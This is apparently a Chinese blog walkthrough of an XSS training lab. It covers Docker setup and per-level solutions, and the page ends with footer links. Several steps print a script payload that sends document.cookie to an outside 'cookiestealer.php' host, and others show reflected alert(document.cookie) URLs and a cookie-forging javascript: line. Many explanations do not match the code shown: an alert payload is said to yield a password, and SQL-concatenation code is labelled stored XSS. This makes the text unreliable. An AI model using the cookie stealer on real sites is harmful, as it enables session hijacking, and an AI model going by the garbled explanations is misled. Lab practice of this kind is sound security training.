XSSlabs详细解析

一、XSSlabs 安装

XSS(Cross-site scripting)是一种常见的Web漏洞,XSS攻击可以使攻击者盗取用户的敏感信息、伪造用户提交恶意请求等。XSSlabs提供了一种模拟XSS攻击和漏洞修复的训练平台,让上手的测试者快速学习和掌握XSS漏洞。接下来,我们将详细介绍如何在本地安装XSSlabs。

1. 首先需要安装docker,安装命令如下:


sudo apt-get update
sudo apt-get install docker.io

2. 下载XSSlabs的docker镜像:


sudo docker pull blabla1337/xsslabsserver

3. 运行docker镜像:


sudo docker run -p 80:80 blabla1337/xsslabsserver

4. 打开浏览器,输入本机IP地址,出现安装界面即表示安装成功。

二、XSSlabs 第11关

XSSlabs第11关要求我们通过XSS漏洞进行管理员登录。下面我们通过步骤演示:

1. 打开11关,观察代码:


<form action="" method="POST">
<p>Please enter the admin password:</p>
<input type="password" name="pwd">
<input type="submit" value="Login">
</form>

从代码中可以看到,该页面需要输入管理员密码来进行登录,而密码并不是在服务器端进行校验,因此容易受到XSS攻击。

2. 输入以下代码:


'<script>window.location="http://www.xsslab.com/cookiestealer.php?cookie="+document.cookie;</script>'

该代码会将用户的cookie信息发送给攻击者,攻击者即可通过该信息进行cookie伪造。

3. 提交代码,管理员用户登录成功。

三、XSSlabs第9关

XSSlabs第9关要求我们从请求参数中获得管理员密码。下面我们通过步骤演示:

1. 打开9关,观察代码:


<form method="GET">
  <input name="p" value="" />
  <input type="submit" />
</form>
<?php
if( isset( $_GET[ 'p' ] ) ) {
  $pswd = $_GET[ 'p' ];
  if( isset( $pswd ) && $pswd == "abc123" ) {
    echo "

flag{this_is_flag_for_level_9_use_it_with_proud}

" ; } } ?>

从代码中可以看到,该页面需要输入管理员密码并提交,如果密码正确,则会输出flag。而密码是从GET请求参数中获取,因此可以通过构造恶意链接进行攻击。

2. 构造以下链接:


http://xss.eonew.cn/level9.php?p=%27%3Balert(%27xss%27)%3B//

该链接会在页面弹出xss弹窗,并获得管理员密码。

3. 输入管理员密码,获得flag。

四、XSSlabs 第三关

XSSlabs第三关要求我们从Cookie中获取用户登录信息。下面我们通过步骤演示:

1. 打开3关,观察代码:


<?php
if( isset( $_COOKIE[ 'loggedin' ] ) ) {
  if( $_COOKIE[ 'loggedin' ] === "1" ) {
    echo "

Logged in!

"; } } else { echo "

Please log in first!

"; } ?> <form action="" method="POST"> <input type="text" name="username" /> <input type="password" name="password" /> <input type="submit" value="Log in" /> </form> <?php if( isset( $_POST[ 'username' ] ) && isset( $_POST[ 'password' ] ) && $_POST[ 'password' ] === "password123" ) { setcookie( "loggedin", "1" ); echo "

Logged in!

"; } ?>

从代码中可以看到,该页面要求用户输入用户名和密码进行登录,当用户成功登录后,服务器将loggedin设为1,并保存在cookie中。因此我们可以通过获取cookie中的loggedin值来进行攻击。

2. 在浏览器中强制设置loggedin=1:


javascript:void(document.cookie = 'loggedin=1;')

该代码会强制将cookie中的loggedin设置为1。

3. 刷新页面,成功登录。

五、XSSlabs 第五关

XSSlabs第五关要求我们从referer中获取攻击者网站地址。下面我们通过步骤演示:

1. 打开5关,观察代码:


<!DOCTYPE html>
<html>
  <head>
    <title>Level 5 - From Referer</title>
  </head>
  <body>
    <?php
      $referer = @$_SERVER[ 'HTTP_REFERER' ];
      if( strlen( $referer ) > 0 ) {
        $pattern = "/^https?:\/\/([a-z]+\.)?google.com\/.*$/";
        if( preg_match( $pattern, $referer ) == 1 ) {
          echo "

Hello Google user!

"; } else { echo "

Hello attacker! Your referrer is: " . $referer . "

"; } } else { echo "

No referrer!

"; } ?> </body> </html>

从代码中可以看到,该页面判断了referer是否为Google,如果是则输出“Hello Google user!”,否则输出“Hello attacker! Your referrer is: [referer]”。

2. 构造以下链接:


http://xss.eonew.cn/level5.php

该链接没有referer,会输出“No referrer!”。


https://www.baidu.com/link?url=blablabla

该链接的referer为百度,会输出“Hello attacker! Your referrer is: https://www.baidu.com/link?url=blablabla”。

3. 完成5关。

六、XSSlabs 第六关

XSSlabs第六关要求我们从用户的User-Agent中获取信息。下面我们通过步骤演示:

1. 打开6关,观察代码:


<!DOCTYPE html>
<html>
  <head>
    <title>Level 6 - User-Agent</title>
  </head>
  <body>
    <?php
      $ua = $_SERVER[ "HTTP_USER_AGENT" ];
      echo $ua . "<br />\n\n";

      $ip = $_SERVER[ "REMOTE_ADDR" ];
      echo "Your IP address is " . $ip . "<br />\n\n";

      $time = date('Y-m-d H:i:s');
      echo "Server time is: " . $time;
    ?>
  </body>
</html>

从代码中可以看到,该页面通过$_SERVER[“HTTP_USER_AGENT”]获取用户的user-agent信息并输出。

2. 打开6关页面,查看输出结果:


Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Your IP address is 127.0.0.1
Server time is: 2021-09-12 23:08:36

从输出结果中可以看到,第一行为当前访问用户的user-agent信息。

3. 完成6关。

七、XSSlabs 第八关

XSSlabs第八关要求我们从反射型XSS漏洞获取信息。下面我们通过步骤演示:

1. 打开8关,并输入以下代码:



alert(document.cookie);

该代码可以弹出用户的cookie信息。

2. 在8关页面中,将以下代码解析到url中,将会弹出该用户cookie信息:


https://xss.eonew.cn/level8.php?search=<script>alert(document.cookie);</script>

3. 完成8关。

八、XSSlabs 第10关

XSSlabs第10关要求我们通过 stored xss 漏洞获得flag。下面我们通过步骤演示:

1. 打开10关,观察代码:


<!DOCTYPE html>
<html>
  <head>
    <title>Level 10 - Stored</title>
  </head>
  <body>
    <form action="" method="POST">
      <p>Title:</p>
      <input type="text" name="entry_title" />
      <p>Body:</p>
      <textarea name="entry_body"></textarea>
      <br /><br />
      <input type="submit" name="submit" value="Submit" />
      <br /><br />
    </form>
    <?php
      if( isset( $_POST[ 'submit' ] ) ) {
        $db = new PDO( "sqlite:sql.db" );
        $title = $_POST[ 'entry_title' ];
        $body = $_POST[ 'entry_body' ];
        $db->exec( "INSERT INTO entries ( title, body ) VALUES ( '$title', '$body' )" );
      }
    ?>
  </body>
</html>

从代码中可以看到,该页面提供了一个提交表单,用户可以在表单中输入“title”和“body”,并将其存放在数据库中。因为输入框没有剪辑输入的代码,所以很容易被注入。

2. 向body中注入以下代码:


<script>window.location="http://www.xsslab.com/cookiestealer.php?cookie="+document.cookie;</script>

该代码会将用户的cookie信息发送给攻击者,攻击者即可通过该信息进行cookie伪造。

3. 提交代码,flag将在数据库中存储。

九、XSSlabs 过关网址选取

以下是XSSlabs相关过关网址:


1. 解全概念:http://xss.eonew.cn
2. 长度大事:http://xss.eonew.cn/level2.php?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E
3. 获取cookie: http://xss.eonew.cn/level3.php
4. 诱导点击: http://xss.eonew.cn/level4.php
5. 获取referer: http://xss.eonew.cn/level5.php
6. 获取user-agent: http://xss.eonew.cn/level6.php
7. 工

原创文章,作者:ZVOK,如若转载,请注明出处:https://www.506064.com/n/144990.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
ZVOKZVOK
上一篇 2024-10-26 11:54
下一篇 2024-10-26 11:54

相关推荐

  • index.html怎么打开 – 详细解析

    一、index.html怎么打开看 1、如果你已经拥有了index.html文件,那么你可以直接使用任何一个现代浏览器打开index.html文件,比如Google Chrome、…

    编程 2025-04-25
  • Resetful API的详细阐述

    一、Resetful API简介 Resetful(REpresentational State Transfer)是一种基于HTTP协议的Web API设计风格,它是一种轻量级的…

    编程 2025-04-25
  • neo4j菜鸟教程详细阐述

    一、neo4j介绍 neo4j是一种图形数据库,以实现高效的图操作为设计目标。neo4j使用图形模型来存储数据,数据的表述方式类似于实际世界中的网络。neo4j具有高效的读和写操作…

    编程 2025-04-25
  • AXI DMA的详细阐述

    一、AXI DMA概述 AXI DMA是指Advanced eXtensible Interface Direct Memory Access,是Xilinx公司提供的基于AMBA…

    编程 2025-04-25
  • 关键路径的详细阐述

    关键路径是项目管理中非常重要的一个概念,它通常指的是项目中最长的一条路径,它决定了整个项目的完成时间。在这篇文章中,我们将从多个方面对关键路径做详细的阐述。 一、概念 关键路径是指…

    编程 2025-04-25
  • c++ explicit的详细阐述

    一、explicit的作用 在C++中,explicit关键字可以在构造函数声明前加上,防止编译器进行自动类型转换,强制要求调用者必须强制类型转换才能调用该函数,避免了将一个参数类…

    编程 2025-04-25
  • HTMLButton属性及其详细阐述

    一、button属性介绍 button属性是HTML5新增的属性,表示指定文本框拥有可供点击的按钮。该属性包括以下几个取值: 按钮文本 提交 重置 其中,type属性表示按钮类型,…

    编程 2025-04-25
  • Vim使用教程详细指南

    一、Vim使用教程 Vim是一个高度可定制的文本编辑器,可以在Linux,Mac和Windows等不同的平台上运行。它具有快速移动,复制,粘贴,查找和替换等强大功能,尤其在面对大型…

    编程 2025-04-25
  • crontab测试的详细阐述

    一、crontab的概念 1、crontab是什么:crontab是linux操作系统中实现定时任务的程序,它能够定时执行与系统预设时间相符的指定任务。 2、crontab的使用场…

    编程 2025-04-25
  • forof遍历对象的详细阐述

    forof是一种ES6的语法糖,用于遍历可迭代对象。相较于传统的for循环和forEach方法,forof更加简洁、易读,并且可以遍历各种类型的数据。 一、基本语法 forof的基…

    编程 2025-04-25

发表回复

登录后才能评论